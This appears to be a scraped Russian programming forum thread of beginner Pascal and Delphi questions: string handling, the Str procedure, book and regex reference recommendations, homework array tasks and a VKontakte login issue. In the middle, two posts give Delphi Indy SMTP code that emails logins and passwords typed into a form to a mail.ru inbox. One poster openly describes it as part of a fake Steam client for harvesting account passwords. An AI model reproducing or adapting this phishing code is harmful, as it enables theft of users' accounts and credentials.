Ачатовцы, подскажите как на паскале в строке текста найти слово которое больше пяти символов, но меньше 8?
Code: i := 1; while not eoln(stroka) do begin if storka[i]<>' ' then begin rezStroka := rezStroka + stroka[i]; inc(i); if (lenght(rezStroka)>5)and (lenght(rezStroka)<8) then break; end else begin rezStroka := ''; inc(i); end; end; Что сразу в голову пришло. В результате в rezStroka окажется нужное слово.
Подскажите хороший справочкик/документацию по регулярным выражениям. Везде какие-то обрубки, собирать информацию по кускам, как то не очень в кайф
Pascal: Объясните пожалуйста что значит функция виду str (i,k) k : string; i : integer; Читал гугл, реально не понимаю что она делает.
Переводит число i в сроку k Например: var i : integer; s : string; begin i := 666; //тут у нас еще пустая строка Str(i, s); //а вот тут строка равна '666' end;
Мне кажется у меня будет слегка попонятнее i := 666; //тут у нас тип 666 integer, т.е. число str(i,s); //Переводит числовое значение в строковоe end.
А вот и неправильно Тип не меняется, просто строка сначала пустая, а после выполнения процедуры содержит число i в строковом виде, а i так остается равным 666
всем привет, Вот надумал делфи учить.Как думаете начинать с этой книги норм будет: Фленов "Библия Delphi"?
begin IdSMTP1.Host:='smtp.mail.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='abcd@yandex.ru'; IdSMTP1.Password:='[email protected]'; IdMessage1.Body.Text:=edit1.Text+':'+edit2.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='qwerty@mail .ru'; IdMessage1.Subject:='accs'; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect Code: begin idSMTP1.Host:='smtp.mail.ru'; idSMTP1.Username:='login'; idSMTP1.Password:='pass'; idMessage1.Body.text:='Login - '+Edit1.Text+' Pass -'+Edit2.Text; idMessage1.From.Text:='[email protected]'; idmessage1.Recipients.EMailAddresses:='[email protected]'; idMessage1.Subject:='Steam pass'; if (Edit1.text='') or (edit2.Text='') then MessageBox(0, 'вы не ввели Логин или Пароль', 'Error', MB_ICONWARNING) else idSmtp1.Connect; idSmtp1.Send(idMessage1); label1.Font.Color:=clGreen; label1.Caption:='Online'; end; вот кусок из моего фейка стима
Не сказать чтобы идеально, но для начала сойдет: http://rutracker.org/forum/viewtopic.php?t=2803667 А это уже с юмором: http://rutracker.org/forum/viewtopic.php?t=2829387
Ребята, нужна срочно помощь, нужно решить задачу в делфи с формами: 1)Дан массив A размера N. Вывести его элементы в следующем порядке: A1, A2, AN, AN–1, A3, A4, AN–2, AN–3, … . 2)Дан массив размера N. Найти номера тех элементов массива, которые больше своего правого соседа, и количество таких элементов. Найденные номера выводить в порядке их возрастания. 3)Дана матрица размера M х N. Найти номер ее строки с наибольшей суммой элементов и вывести данный номер, а также значение наибольшей суммы. 4)Дана матрица размера M х N. Найти количество ее строк, элементы которых упорядочены по возрастанию. Отблагодарю, если что пишите в ICQ-386892 или сдесь
Перестала работать авторизация вконтакте. Как бы вроде авторизация проходит но после того как перехожу на другую страницу то уже не авторизован. Что может быть?
